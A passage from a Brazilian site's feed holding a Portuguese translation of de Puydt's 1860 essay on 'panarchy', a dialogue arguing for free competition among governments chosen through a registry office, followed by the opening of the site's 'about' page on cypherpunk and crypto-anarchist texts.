&lt;p>Entretanto devemos sempre lembrar que alguns estão satisfeitos. O novo edifício de fato não é perfeito, mas possui suas vantagens; por que derruba-lo amanha, depois, ou sequer algum dia, enquanto abriga inquilinos suficientes para mantê-lo em atividade? Eu próprio detesto os demolidores tanto quanto os tiranos. Se você acha que seu apartamento é inadequado ou muito pequeno ou insalubre, então o substitua - é tudo o que eu peço. Escolha outro, mude-se sem alarde; mas pelo amor de deus não exploda a casa toda enquanto o faz. O que você pensava que não o servia mais pode deleitar seu vizinho. Compreende minha metáfora?&lt;/p>
&lt;p>&lt;em>Quase, mas o que você pretende? Não mais revoluções, isso seria bom! Eu penso que em nove de cada dez vezes seus custos ultrapassam suas realizações. Mantemos então o velho edifício, mas aonde acomodamos aqueles que se mudaram?&lt;/em>&lt;/p>
&lt;p>Aonde desejarem, já que isso não é da minha conta. Eu creio que a respeito disso todos devem ser totalmente livres para tomar suas decisões. Essa é a base do meu sistema: &lt;em>Laissez-faire, laissez-passer&lt;/em>.&lt;/p>
&lt;p>&lt;em>Acho que entendi: aqueles que não estão contentes com seu governo devem procurar por outro. De fato, houve uma escolha, começando com o império Marroquino, sem mencionar os outros impérios, até a república de San Marino; da cidade de Londres até os Pampas. Sua teoria se resume a isso? Não é nada novo, devo lhe dizer.&lt;/em>&lt;/p>
&lt;p>Não é uma questão de imigração. Um homem não carrega a sua terra nativa na sola do sapato. Além disso, tamanha expatriação é e sempre será impraticável. O custo envolvido não seria coberto nem por toda a riqueza do mundo. Eu não tenho o propósito, por exemplo, de realocar a população de acordo com suas convicções, relegando os Católicos as Províncias dos Flandres, ou marcar a fronteira de Mons a Liège. Eu torço para que todos nós possamos continuar vivendo juntos onde estivermos, ou em qualquer lugar se se deseja, mas sem discórdia, como irmãos, cada um livremente com suas opiniões e se submetendo apenas a um poder pessoalmente escolhido e aceito.&lt;/p>
&lt;p>&lt;em>Agora me perdi completamente.&lt;/em>&lt;/p>
&lt;p>Eu não estou de todo surpreso. Meu plano, minha utopia, não é aparentemente a velha história que você acreditou ser; porém nada no mundo poderia ser mais simples ou natural. Entretanto é senso comum que no governo, assim como na mecânica, as idéias mais simples vêm por último. Estamos chegando ao relevante: nada dura se não for baseado na liberdade. Nada que já exista pode se manter, ou operar com eficiência plena sem a livre interação de seus agentes. Assim eu demando, para todo e cada membro da sociedade humana, liberdade de associação de acordo com a inclinação e com a atividade de acordo com a aptidão. Em outras palavras, o direito absoluto de escolher as vizinhanças políticas nas quais eu vou viver, e nada mais. Por exemplo, você é um republicano&amp;hellip;&lt;/p>
&lt;p>&lt;em>Eu? Deus me livre!&lt;/em>&lt;/p>
&lt;p>Suponha que fosse. A Monarquia não o apetece - o ar é muito sufocante para seus pulmões e seu corpo não possui a liberdade de ação que sua composição demanda. De acordo com seu estado de espírito atual, você está propenso a derrubar esse edifício, você e seus colegas, e construir seu próprio no lugar. Mas para fazer isso você teria que levantar-se contra todos os monarquistas que se mantêm fiéis ao seu credo, e em geral contra todos aqueles que não compartilham de suas convicções. Faça melhor: monte, declare seu programa, calcule seu orçamento, abra listas de filiação, prepare um inventário; e se numeroso suficiente para cobrir os custos, estabeleça sua república.&lt;/p>
&lt;p>&lt;em>Aonde? Nos Pampas?&lt;/em>&lt;/p>
&lt;p>Não, certamente não. E sim aqui, aonde você se encontra, sem se mudar. Eu concordo que seja necessário, nas condições atuais, ter o consentimento dos monarquistas. Para os propósitos do meu argumento eu considero essa questão de princípio resolvida. Por outro lado eu estou bem ciente das dificuldades de mudar o estado de coisas para o que as coisas deveriam ser e no futuro se tornarão. Eu simplesmente expresso minha idéia, sem desejar impo-la a ninguém; mas eu não vejo nada que possa para-la a não ser a rotina. Não sabemos quão ruim união governo e governados fazem hoje, em qualquer lugar? No nível civil nós nos livramos de uniões que não deram certo através de divórcio ou separação legal. Eu sugiro uma solução análoga para a política, sem ter que circunscrevê-la com formalidades e restrições protetoras, uma vez que na política associações prévias não deixam filhos ou marcas físicas. Meu método difere dos procedimentos tirânicos e injustos tomados no passado no fato de eu não ter intenção em causar violência para ninguém. Alguém deseja promover uma cisão política? Esse alguém deveria ser permitido, propriamente apenas com uma condição, que ele o fará apenas dentro de seu próprio grupo, sem afetar nem os direitos nem as crenças dos demais. Para alcançar isso, é absolutamente desnecessário subdividir o território do Estado em tantas partes quanto existam formas conhecidas e aprovadas de governo. Como antes, eu deixo tudo e todos em seu lugar. Eu apenas demando que as pessoas deixem espaço para dissidentes de maneira que eles possam construir suas igrejas e servir o Poder Supremo à sua própria maneira.&lt;/p>
&lt;p>&lt;em>E como você pretende colocar isso em prática?&lt;/em>&lt;/p>
&lt;p>Esse é precisamente meu ponto principal. Você sabe como um escritório de registro civil opera? É apenas uma questão de fazer uma nova aplicação dele. Em cada comunidade um novo escrit é aberto, um “Agência de Filiação Política”. Esse escritório mandaria para cada cidadão um formulário a ser preenchido, assim como para o imposto de renda ou registro de cães.&lt;/p>
&lt;p>Pergunta: Que forma de governo você deseja?&lt;/p>
&lt;p>Livremente você responderia monarquia, democracia ou qualquer outro.&lt;/p>
&lt;p>Pergunta: Se monarquia, você a prefere absoluta ou moderada&amp;hellip; , se moderada, como?&lt;/p>
&lt;p>Você responderia constitucional, creio eu.&lt;/p>
&lt;p>De qualquer forma, seja lá o que você responder, sua resposta daria entrada em um registro; uma vez registrado, a menos que você invalide sua declaração, de acordo com os processos e formas legais, você então se tornaria tanto um súdito real ou um cidadão da república. Dessa forma você não estaria de forma alguma envolvido com o governo de outras pessoas - não mais do que um súdito Prussiano está com as autoridades Belgas. Você obedeceria seus próprios líderes, suas próprias leis, e suas próprias regulações. Em última instância, todos viveriam em sua própria comunidade política individual, como se não houvesse outras, digamos, dez comunidades políticas nas redondezas, cada uma com seus próprios contribuintes.&lt;/p>
&lt;p>Se uma desavença acontecesse entre membros de governos diferentes, ou entre um governo e um súdito de outro, seria simplesmente um caso de observar os princípios até então observados entre Estados vizinhos pacíficos; se uma discrepância fosse encontrada, poderia ser superada sem dificuldades pelos direitos humanos e todos os outros direitos possíveis. Qualquer coisa seria o trabalho de cortes de justiça comuns.&lt;/p>
&lt;p>&lt;em>Isso é uma mina de ouro para argumentos legais, o que traria todos os advogados para seu lado.&lt;/em>&lt;/p>
&lt;p>De fato eu estou contando com isso. Haveria e deveria também haver interesses comuns afetando todos os habitantes de um certo distrito, não importando sua filiação política. Cada governo nesse caso, estaria relacionado com a nação mais ou menos como cada Cantão Suíço, ou melhor, como os Estados da União Americana se relacionam com o governo federal. Dessa forma, todas essas questões fundamentais e aparentemente chocantes são respondidas com soluções rápidas; a jurisdição é estabelecida sob a maioria dos assuntos e não apresentaria nenhum tipo de dificuldades.&lt;/p>
&lt;p>Certamente acontecerá de alguns espíritos maliciosos, sonhadores incorrigíveis e naturezas insociáveis não se acomodarem em nenhuma forma de governo. Também haverão minorias muito fracas para cobrirem os custos de seus Estados ideais. Pior para eles. Esses poucos excêntricos são livres para propagar suas idéias e recrutar pessoas até sua complementação final, ou ao invés, até suprirem as necessidades financeiras, já que tudo se trataria num problema de financiamento. Até lá eles teriam que optar por alguma das formas de governo. É assumido que tais pequenas minorias não causarão problema algum.&lt;/p>
&lt;p>Isso não é tudo. Problemas raramente surgem entre opiniões extremas. Briga-se mais, luta-se com mais afinco, por tonalidades do que por cores fortemente contrastadas. Não tenho dúvida que na Bélgica a maioria esmagadora optaria pelas instituições vigentes, apesar de algumas fraquezas adimitidas; mas, quando se trata se aplicações específicas, seríamos tão undidos? Não temos dois ou três milhões de Católicos que seguem apenas o Sr. De Theux e dois ou três milhões de Liberais que juram lealdade apenas com eles mesmos? Como podem ser reconciliados? Ao não se tentar reconciliá-los; ao deixar cada parte se governar. A liberdade deveria se estender até ao direito de não ser livre, e incluí-lo.&lt;/p>
&lt;p>Entretanto, já que pequenas divergências de opinião não devem ser permitidas complicarem a máquina governamental infinitamente, nos esforçaremos em simplificar esse maquinário sob o interesse geral. Aplicaremos a mesma engrenagem para atingir um efeito duplicado ou triplicado.&lt;/p>
&lt;p>Deixe me explicar: um rei sábio e abertamente constitucional poderia satisfazer ambos Católicos e Liberais; apenas o ministério teria que ser duplicado, Sr. De Theux para alguns, Sr. Frère-Orban para outros, o Rei para todos. Numa situação aonde senhores, cujos nomes não darei, se unem para introduzir o absolutismo político, quem iria impedir esse mesmo príncipe de usar sua sabedoria superior e rica experiência para conduzir os negócios desses senhores, livrando-os da lamentável necessidade de ter que expressar suas opiniões sobre assuntos governamentais? Na verdade, quando eu penso nisso, eu não vejo porque, ao mudar completamente esse arranjo, esse príncipe não possa se mostrar um presidente aceitável para uma república honesta, moderada. Manter tamanha pluralidade de organizações não deveria ser proibida.&lt;/p>
&lt;hr>
&lt;h1 id="iii">III&lt;/h1>
&lt;pre>&lt;code>Apesar da liberdade ter suas desvantagens e ciladas,
no longo prazo ela leva a emancipação” pero termina siempre por salvar.
&lt;/code>&lt;/pre>
&lt;p>M. A. DESCHAMPS&lt;/p>
&lt;p>Uma das vantagens incomparáveis do nosso sistema é tornar compreensíveis, naturais e completamente legalizadas aquelas divergências de opinião que em nossa época trouxeram uma má reputação a cidadãos justos, e que foram cruelmente condenadas sob o nome de apostasias políticas. O que não é a tamanha impaciência por mudanças, que foi considerada criminosa em pessoas honestas, que fez com que nações novas e velhas fossem acusadas de libertinagem e ingratidão, senão um desejo de progresso?&lt;/p>
&lt;p>Ademais, não é estranho que, na maioria dos casos, aqueles acusados de impulsividade e instabilidade são precisamente aqueles que são os mais consistentes consigo mesmo? A fé que se gostaria de ter no seu partido, bandeira e príncipe, é possível se o partido e o príncipe são inabaláveis; mas e se eles mudam, ou se rendem a outros que não são seus semelhantes? Suponha que eu tenha selecionado como guia e mestre o melhor príncipe de todos os tempos, e eu tivesse me submetido ao seu espírito poderoso e criativo e abdicado minha iniciativa pessoal para servir seu gênio. Após sua morte ele pode ser sucedido, pela linhagem, por algum indivíduo de visão limitada, cheio de idéias erradas, que pouco a pouco dissipasse as realizações de seu pai. Você ainda esperaria que eu continuasse seu súdito? Por que o faria? Simplesmente porque ele era o herdeiro direto, legítimo? Direto eu concordo, mas não legítimo, pelo que me consta.&lt;/p>
&lt;p>Eu não me rebelaria quanto a isso - eu disse que detesto revoluções - mas me sentiria lesado, e designado a mudá-lo ao final do contrato. Madame de Staël disse uma vez ao Czar: “Senhor, sua personalidade é a constituição de seus súditos e sua consciência a garantia”. “Se fosse assim”, respondeu Alexandre, “eu seria meramente um feliz acidente”. Essas palavras, tão lúcidas e verdadeiras, expressam completamente minhas idéias.&lt;/p>
&lt;p>Minha panacéia, se me permite o termo, é simplesmente livre competição no ramo governamental. Todos possuem o direito de prover sua própria possibilidade como bem entender e obter segurança por conta própria. Por outro lado, isso significa progresso através da competição entre governos tendo que competir por seguidores. Verdadeira liberdade global é aquela que não é forçada à ninguém, estando disponível a todos justamente a quantia desejada; nem suprime nem engana, e está sempre sujeita a um direito de apelação. Para fazer tal liberdade acontecer, não haveria necessidade de abdicar de tradições nacionais nem de laços familiares, sem necessidade de aprender a pensar numa nova linguagem, de atravessar rios ou mares, carregando os ossos de seus ancestrais. É simplesmente uma questão de declaração ante sua comissão política local, para se mover da república à monarquia, do governo representativo à autocracia, da oligarquia à democracia, ou até a anarquia do Sr. Proudhon - sem a necessidade de tirar a roupa ou os chinelos.&lt;/p>
&lt;p>Está cansado da agitação no fórum, o pedantismo da tribuna parlamentar, ou dos beijos mal educados da deusa da liberdade? Está tão cheio do liberalismo e do clericalismo que as vezes confunde o Sr. Dumortier com o Sr. De Frè, esquece as diferenças exatas entre o Sr. Rogier e o Sr. De Decker? Você prefere a estabilidade, o suave conforto de um despotismo honesto? Sente a necessidade de um governo que pense por você, aja por você, veja tudo e tenha uma mão em todos os lugares, e cumpre o papel de representante-provedor que todos os governos têm predileção? Você não precisa migrar para o Sul como os martinetes no outono ou gansos em Novembro. Tudo o que você deseja aqui, ali, em todo lugar; assine seu nome e se acomode.&lt;/p>
&lt;p>O que é mais admirável sobre essa inovação é que ela acaba para sempre com revoluções, rebeliões, e brigas de rua, até as últimas tensões no tecido político. Está insatisfeito com seu governo? Mude para outro! Essas três palavras, sempre associadas com horror e derramamento de sangue, palavras que todos os tribunais, superiores ou não, militares e especiais, sem exceção, culparam unanimemente de incitar rebeliões, essas três palavras se tornam inocentes, como se estivessem nas bocas de seminaristas, e inofensivas como a medicina ministrada tão erroneamente pelo Sr. De Pourceaugnac.&lt;/p>
&lt;p>“Mude para outro” significa: Vá à Agência de Filiação Política, com o chapéu na mão, e peça educadamente para seu nome ser transferido para qualquer lista que lhe apeteça. O Comissário colocará os óculos, abrirá o registro, marcará sua decisão, e lhe dará um recibo. Você parte, e a revolução está completa sem derramar mais que uma gota de tinta. Como ela afeta apenas a você, eu não posso discordar da sua decisão. Sua mudança não afeta mais ninguém - esse é seu mérito; não envolve uma maioria vitoriosa ou uma minoria derrotada; mas nada prevenirá 4,6 milhões de Belgas de seguir seu exemplo se eles desejarem. A Agência de Filiação Política necessitará de mais funcionários.&lt;/p>
&lt;p>Qual, basicamente, sem levar em conta pressuposições, é a função de qualquer governo? Como indiquei acima, é suprir seus cidadãos com segurança, no sentido mais amplo da palavra, e sob condições otimizadas. Estou ciente de que nesse assunto em particular nossas idéias ainda estão um tanto confusas. Para alguns nem mesmo um exército significa proteção suficiente contra inimigos externos; para alguns nem mesmo uma força policial, uma ronda, um promotor público e todos os honoráveis juízes são suficientes para garantir ordem interna e proteger títulos de propriedade e direitos. Alguns desejam um governo abarrotado de cargos bem remunerados, com legiões de servidores públicos mantendo as finas artes, teatros e atrizes. Eu também sei que aqueles são slogans vazios propagados por governos brincando de providência, como já mencionamos. Até a liberdade de experimentação lhes ter feito justiça, eu não vejo problema algum em deixá-los continuarem a satisfazerem seus partidários. Eu peço apenas uma coisa: liberdade de escolha.&lt;/p>
&lt;p>Em suma: liberdade de escolha, competição. &lt;em>“Laissez-faire, laissez-passer!&lt;/em>” Esse maravilhoso lema, inscrito na bandeira da ciência econômica, será também um dia o princípio do mundo político. A expressão “economia política” dá um aperitivo dele e, interessantemente, algumas pessoas já tentaram mudar seu nome, por exemplo, para “economia social”. O bom senso intuitivo das pessoas não permitiu tal concessão. A ciência econômica é e sempre será a ciência política por excelência. Não foi ela que criou o princípio moderno de não intervenção e seu slogan “&lt;em>Laissez-faire, laissez-passer&lt;/em>”?&lt;/p>
&lt;p>Então, livre competição no ramo governamental assim como em todos os casos. Imagine, uma vez que tenha superado seu espanto, o quadro de um país exposto à competição governamental - isto é, simultaneamente possuindo tantos governos competitivos quanto já foram concebidos e ainda serão inventados.&lt;/p>
&lt;p>&lt;em>Sim, de fato, isso será uma grande bagunça! Você acha que poderíamos nos resgatar de tamanha confusão?&lt;/em>&lt;/p>
&lt;p>Com certeza, e nada é mais fácil de se aprender quando se pratica um pouco. Você lembra qyando as pessoas berravam suas opiniões religiosas ainda mais alto que quando elas berravam brigas políticas? Quando o criador divino se tornou o Senhor dos Convidaos, o impiedoso e vingativo Deus em cujo nome sangue desceu nos rios? Os homens sempre tentaram trazer a causa divina para suas próprias mãos - fazer Dele um cúmplice de seus desejos sanguinários. “Matem a todos! Deus recohecerá Seu povo!”&lt;/p>
&lt;p>O que se tornou de tal ódio implacável? O progresso do espírito humano já o varreu para longe, assim como o vento faz com as folhas caídas de outono. As religiões, em cujo nome foram confeccionados estacas e instrumentos de tortura, sobrevivem e convivem pacificamente, sob as mesmas leis, com o mesmo tipo de orçamento; se cada seita prega apenas em sua própria excelência, é bem raro que persista em condenar as rivais. Então, o que se tornou possível nessa região obscura e insondável da consciência, com o proselitismo de alguns, a intolerância de outros, com o fanatismo e ignorância das massas; que é possível ao ponto de ser praticável em meio mundo sem resultar em inquietude e violência, muito pelo contrário, já que particularmente aonde há crenças divergentes, numerosas seitas existem numa base de completa igualdade legal; onde as pessoas são, de fato, mais prudentes e cuidadosas com sua dignidade e pureza moral e do que em qualquer outro domínio; que se tornou possível sob tão difíceis condições, não poderia ser mais claramente possível no domínio secular da política, aonde toda ciência pode ser expressa em três palavras?&lt;/p>
&lt;p>Sob as condições atuais um governo existe apenas pela exclusão de outros, e um partido pode exercer poder apenas ao destroçar seus oponentes; uma maioria sempre é prejudicada por uma minoria impaciente para governar. Sob tais condições, é quase inevitável que os partidos se odeiem e vivam, se não numa guerra, num estado de paz armada. Quem se surpreende ao ver que as minorias conspiram e se agitam, e que governos destroem à força qualquer aspiração a uma forma política diferente que também seria exclusiva? Então a sociedade acaba sendo composta por homens ambiciosos e ressentidos, esperando por vingança e por ambiciosos homens de poder, sentados complacentemente na beira de um precipício. Princípios errôneos nunca trazem consequências justas, e a coerção nunca leva à verdade ou ao direito.&lt;/p>
&lt;p>Agora imagine que toda essa compulsão termine; que todo cidadão adulto é e continuará livre para escolher dentre as formas possíveis de governo oferecidas uma que se ajuste às suas convicções e satisfaça suas necessidades pessoais; livre não sí no dia seguinte a alguma revolução sangrenta, mas sempre, e em qualquer lugar, livre para escolher, mas não para forçar sua escolha a outros. Nesse momento, toda a desordem chega a um final, e lutas irrecompensáveis se tornam impossíveis.&lt;/p>
&lt;p>Esse é apenas um dos lados da moeda; ainda resta outro: a partir do momento que todas as formas de governo estão sujeitas a experiência e livre competição, elas estão destinadas a progredirem e a se aperfeiçoarem; essa é a lei da natureza. Não mais hipocrisia, profundidades aparentes que contém apenas um pequeno vazio. Sem maquinações se passando por sutilezas diplomáticas. Não mais movimentos covardes ou impropriamente camuflados de política Estatal. Nâo mais brigas militares ou judiciais enganosamente descritas como honráveis ou de interesse nacional. Resumidamente, sem mentiras no que toca a natureza e a qualidade das ações governamentais. Tudo é aberto a um exame detalhado. Os súditos fazem e comparam observações, e os poderosos finalmente vêem essa verdade econômica e política, que no mundo há apenas uma condição para um sucesso sólido, duradouro, e que é governar melhor e mais eficientemente do que outros. Desse momento em diante um acordo universal emerge, e forças anteriormente desperdiçadas em trabalho sem sentido, em fricção e resistência, se unirão para realizar um poderoso impulso, maravilhoso e sem precedentes em direção ao progresso e felicidade da humanidade.&lt;/p>
&lt;p>&lt;em>Amém! Deixe-me fazer, contudo, uma pequena objeção: Quando todos os tipos possíveis de governo tiverem sido tentados publicamente por aí e sob a livre competição, qual será o resultado? Uma forma com certeza será reconhecida como a melhor, e assim finalmente todos a escolherão. Isso nos levaria outra vez a termos apenas um governo para todos, que é de onde partimos.&lt;/em>&lt;/p>
&lt;p>Não tão rápido caro leitor. Você primeiro admite que tudo estaria então em harmonia, e acha que depois voltamos aonde estávamos? Sua objeção apoia meu princípio fundamental, já que espera que esse acordo universal seja estabelecido pelo simples expediente do “&lt;em>laissez-faire, laissez-passer&lt;/em>”. Eu poderia aproveitar essa oportunidade para te declarar convencido, convertido ao meu sistema, mas eu não estou interessado em meias convicções e não procuro convertidos. Não, nós não retrocederíamos a uma única forma de governo, a menos talvez num distante futuro quando as atividades governamentais sejam reduzidas por consenso comum à forma mais simples. Nós ainda não estamos lá, nem sequer perto.&lt;/p>
&lt;p>É óbvio que as pessoas não possuem as mesmas opíniões ou atitudes morais, nem tão facilmente reconciliáveis como supõe. O reinado da livre competição é então o único possível. Uma pessoa precisa de excitação e disputas - quietude seria mortal para ela. Outro, um sonhador e filósofo, está ciente dos movimentos da sociedade distante dela - seus pensamentos são formados apenas na mais profunda paz. Um, pobre, ponderado, um artista desconhecido, precisa de encorajamento e apoio para criar seu trabalho imortal, um laboratório para seus experimentos, um bloco de mármore para esculpir anjos. Outro, um gênio vigoroso e impulsivo, não suporta algemas e quebra o braço que o guiaria. Para alguns uma república é satisfatória, com sua dedicação e abnegação; para outro uma monarquia absoluta, com sua pompa e esplendor. Outro, um oradorm preferiria um parlamento; outro, incapaz de falar dez palavras articuladas, não teria nada a ver com tais tagarelas. Existem espíritos fortes e mentes fracas, algumas com ambições insaciáveis, e algumas que são humildes - felizes com a pequena cota que lhe cabe.&lt;/p>
&lt;p>Finalmente, existem diferentes necessidades quanto há personalidades diferentes. Como todas elas poderiam ser reconciliadas por uma forma única de governo? Claramente. As pessoas o aceitariam apenas em graduações variadas. Alguns estariam contentes, alguns indiferentes, alguns encontrariam falhas, alguns estariam claramente insatisfeitos, e alguns até conspirariam contra ele. Seja lá o que acontecer, você pode contar com a natureza humana para afirmar que o número satisfeito seria menor que o número de dissidentes. Não importa o quão perfeito seja um governo - seja ele absolutamente perfeito - haverão sempre oponentes: pessoas cuja natureza é imperfeita, para as quais toda perfeição é incompreensível, até desagradável. No meu sistema a maior insatisfação seria como uma mera briga conjugal, com o divórcio como solução final.&lt;/p>
&lt;p>Todavia, sob o reino da competição, que governo se deixaria ser suplantado por outros na corrida para o progresso? Que melhorias disponíveis para um vizinho contente uma pessoa recusaria introduzir para sua própria casa? Tal competição constante faria milagres. De fato, súditos também se tornariam modelos de competição. Uma vez que seriam livres para ir e vir, falarem ou se silenciarem, agirem ou deixarem as coisas como estão, eles teriam apenas a si mesmos para culparem caso não fossem completamente felizes. Daqui em diante, ao invés de formentar discórida para ganhar atenção, eles satisfariam suas vaidades ao garantirem a si mesmos e persuadindo outros que seu governo é o mais perfeito imaginável. Assim, entre comandantes e comandados surgirá um entendimento amigável, uma confiança mútua e uma simplicidade de relações facilmente imaginável.&lt;/p>
&lt;p>&lt;em>O quê! Apesar de estar acordado você sonha com a completa harmonia entre partidos e movimentos políticos? Você espera que eles vivam lado a lado no mesmo território sem tensões? Sem o mais forte procurando subjugar e anexar o mais fraco? Você imagina que essa grande Torre de Babel produzirá uma linguagem universal?&lt;/em>&lt;/p>
&lt;p>Eu acredito numa linguagem universal da mesma forma que eu acredito no poder supremo da liberdade em trazer a paz mundial. Eu não posso prever nem a hora nem o dia desse acordo universal. Minha idéia é meramente uma semente ao vento. Cairá ela em terra férteis ou estradas de paralelepípedos? Eu não tenho o que dizer quanto a isso. Não proponho nada. Tudo é uma questão de tempo. Quem, a um século atrás, acreditava na liberdade de consciência, e quem, nos dias de hoje, a questionaria? Faz muito tempo que as pessoas ridicularizavam a idéia da Imprensa ser um poder no interior do Estado? Agora até estadistas se curvam perante ela. Você por acaso previu essa nova força da opinião pública, cujo nascimento todos nós presenciamos, a qual, apesar de apenas em sua infância, impõe seu veredito sob impérios? É de maior importância até nas decisões dos dépotas. Você não teria rido da cara de alguém que se atrevesse a prever sua ascenção?&lt;/p>
&lt;p>&lt;em>Já que você não está avançando nas propostas, podemos conversar. Me diga, por exemplo, como alguém irá reconhecer seus próprios membros nessa confusão de autoridades? E se alguém a qualquer hora se registrar em um governo e se retirar de outro, em quem ou no que alguém confiaria para equilibrar as finanças Estatais e financiar a lista civil?&lt;/em>&lt;/p>
&lt;p>No primeiro caso, eu não estou sugerindo que alguém deveria ser livro para mudar de governo caprichosamente, levando-o a bancarrota. Esse tipo de contrato deve conter um témino mínimo, digamos de um ano. Ao julgar pelos exemplos da França e demais, eu acho que pode ser bem possível tolerar um ano completo o governo ao qual se filiou. Orçamentos estatais regularmente aprovados e balançeados precisam obrigar a todos apenas no que é considerado necessário como um resultado da livre competição. Em quaisquer disputas, tribunais comuns fariam decisões. Quanto a identificação governamental de seus súditos, constituintes e contribuintes, apresentaria isso mais dificuldades do que existem para uma igreja manter um registro de sua congregação, ou cada companhia seus acionistas?&lt;/p>
&lt;p>Mas teríamos dez ou vinte governos ao invés de um; logo, tantas listas civis e orçamentos quanto; e despesas gerias se multiplicariam com o número de departamentos governamentais.&lt;/p>
&lt;p>Eu não nego a validade dessa objeção. Note que de qualquer forma, graças a lei da competição, cada governo se esforçaria para se tornar o mais simples e econômico quanto possível. Os departamentos governamentais, o quanto nos custam, apenas Deus sabe! Nossos própria vigilância os reduziriam ao mínimo necessário; e burocratas supérfluos teriam que abdicar de seus postos e se engajar em trabalho produtivo. Essa forma a pergunta estaria apenas metade respondida, e eu não gosto de soluções incompletas. Muitos governos constituiriam um mal e dariam margem para o aparecimento de despesas excessivas, para não falar de confusão. Entretanto, a partir do momento que alguém percebe esse mal, o remédio está em suas próprias mãos. O senso comum das pessoas não apoiaria nenhum excessom e rapidamente apenas governos eficientes seriam capazes de continuarem em atividade. Os demais definhariam até a morte. Como pode ver, a liberdade é a resposta para tudo.&lt;/p>
&lt;p>&lt;em>Talvez! E quanto as dinastias já existentes, as maiorias prevalecentes, as instituições estabelecidas e teorias creditadas? Você acha que elas desistiriam e silenciosamente se alinhariam sob a bandeira do laissez-faire, laissez-passer? É muito fácil dizer que você não está propondo nada concreto, mas você não pode evitar o debate dessa forma.&lt;/em>&lt;/p>
&lt;p>Me diga antes de mais nada se você realmente acha que eles estariam tão confiantes de si mesmos para estarem sempre estarem aptos a recusarem fazer grandes concessões? Eu mesmo não derrubaria ninguém. Todos os governos existem graças a algum tipo de poder inato o qual usam habilmente para sobreviver. Daqui em diante eles possuem um lugar assegurado no meu sistema. Eu não nego que primeiramente eles possam perder um número considerável de seus seguidores menos fervorosos; mas sem considerar as chances de isso acontecerm que compensasões maravilhosas resultariam da segurança e da estabilidade do poder! Menos súditos, em outras palavras, menos pagadores de impostos; mas em compensação eles teriam completa submissão - voluntária, entretanto, até o término do contrato. Não mais compulsão, menos agências de segurança, dificilmente alguma polícia, alguns soldados, mas apenas com o propósito de paradas, dessa maneira apenas aquelas bem aparentadas. Despesas irão diminuir mais rápido que as receitas; não mais empréstimos e dificuldades financeiras. O que até então foi visto apenas no Novo Mundo se tornará realidade: sistemas econômicos que ao menos possam fazer seres humanos contentes. Que dinastia não gostaria de marcar seu nome para o futuro eterno dessa maneira? Que maioria não concordaria em deixar a minoria emigrar em massa?&lt;/p>
&lt;p>Finalmente você compreende como um sistema baseado no grande princípio econômico do “&lt;em>laissez-faire&lt;/em>” pode lidar com todas as dificuldades. A verdade não é apenas uma meia verdade, mas uma verdade completa, nem mais nem menos. Hoje temos dinastias governantes assim como dinastias derrubadas; príncipes vestindo uma coroa e outros que certamente não desperdiçariam a chance de vestir uma. Cada um têm seu partido, e cada partido está primariamente interesado em entortar a carruagem estatal, até terem a chance de subir nela ele mesmo, arriscando seu próprio destino com isso. É a encantadora brincadeira do balanço, a qual as pessoas pagam o preço e nunca parecem se cansar, como Paul-Louis Courier costumava dizer.&lt;/p>
&lt;p>Em nosso sistema não haverá mais atos dispendiosos de ajuste ou tombos catastróficos; não mais conspirações ou usurpações. Todos são legítimos e ninguém ao mesmo tempo. Se mantém legítimo sem objeção ao mesmo tempo em que é aceito, e apenas para seus partidários. Exceto isso, não haverá direitos divinos nem seculares, nenhum direito exceto o de mudança, de aperfeiçoar o programa e de fazer novos apelos aos seus seguidores.&lt;/p>
&lt;p>Sem exílios, banimentos, confiscos ou perseguições de qualquer tipo! Um governo, incapaz de atender as demandas de seus credores, poderá sair de seu palácio com a cabeça erguida, se tiver sido honesto, com sua contabilidade em ordem, e seus estatutos, constitucionais ou não tiverem sido fielmente endossados. Os governantes poderão se retirar para o campo e escrever suas memórias justificativas. Sob condições diferentes, quando as idéias tiverem mudado, uma deficiência for sentida em acordos coletivos, uma coisa em particular estiver faltando, haverá capital ocioso e acionistas descontentes procurando por investimentos&amp;hellip; assim que alguém lançar seu programa, rapidamente recrutar membros e achar que já é forte o bastante, ao invés de tomar as ruas, como na linguagem de uma rebelião, irá à Agência de Filiação Política. Mãos numa declaração apoiada por uma lista de estatutos básicos e um registro para os membros darem seus nomes - e temos um novo governo. O resto é problemas internos, assuntos administrativos com os quais apenas os novos membros devem se preocupar.&lt;/p>
&lt;p>Eu proponho uma taxa mínima para registro e transferências de filiação, coletadas em benefício da Agência de Filiação Política. Uma certa quantidade para estabelecer um governo; uma pequena sma para se movimentar, como um indivíduo, de um para outro. Os empregados nao receberiam qualquer outra remuneração, mas eu imagino que eles seriam bem pagos uma vez que eu creio que esses escritórios terão muito trabalho a fazer.&lt;/p>
&lt;p>Não está surpreso com a simplicidade desse aparato, essa poderoso maquinário que até uma criança saberia manejar, que no entanto satisfaria todas as necessidades? Pesquise, escrutinize, teste e o analise. Eu o desafio de encontrar qualquer defeito nele.&lt;/p>
&lt;p>Além do mais, eu estou convencido que ninguém virá me incomodar por isso: de tal forma é a natureza humana. É essa convicção, de fato, que me induziu a publicar minha idéia. Na verdade, se eu não encontrar seguidores, não há nada como um exercício intelectual; e nenhum poder existente, nenhuma maioria, nenhuma organização, resumindo, ninguém, não importa o quão poderoso, tem direitos de ter maus pressentimentos com relação a mim.&lt;/p>
&lt;p>&lt;em>E se, só por acaso, você tivesse me convertido?&lt;/em>&lt;/p>
&lt;p>Shhhh&amp;hellip; Você pode me comprometer!&lt;/p>
&lt;p>Fonte: &lt;a href="http://www.panarchy.org/depuydt/1860.eng.html" target="_blank" rel="noopener noreferrer">Panarchy - Revue Trimestrielle&lt;/a>
&lt;/p></content:encoded></item><item><title>Mais sobre o projeto</title><link>https://cypherpunks.com.br/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/about/</guid><description>Conheça mais sobre nós</description><content:encoded>&lt;h1 id="quem-somos">Quem Somos&lt;/h1>
&lt;p>&lt;strong>Saudações criptoanarquistas, cypherpunks e demais amigos da criptosfera!&lt;/strong>&lt;/p>
&lt;p>Cypherpunks Brasil é um projeto dedicado a tradução de textos históricos e compartilhamento de conteúdo relacionado a criptoanarquismo, cypherpunk, criptologia, agorismo, sistemas descentralizados, hardware, moedas digitais, anarquismo, sobrevivencialismo e mais.&lt;/p>
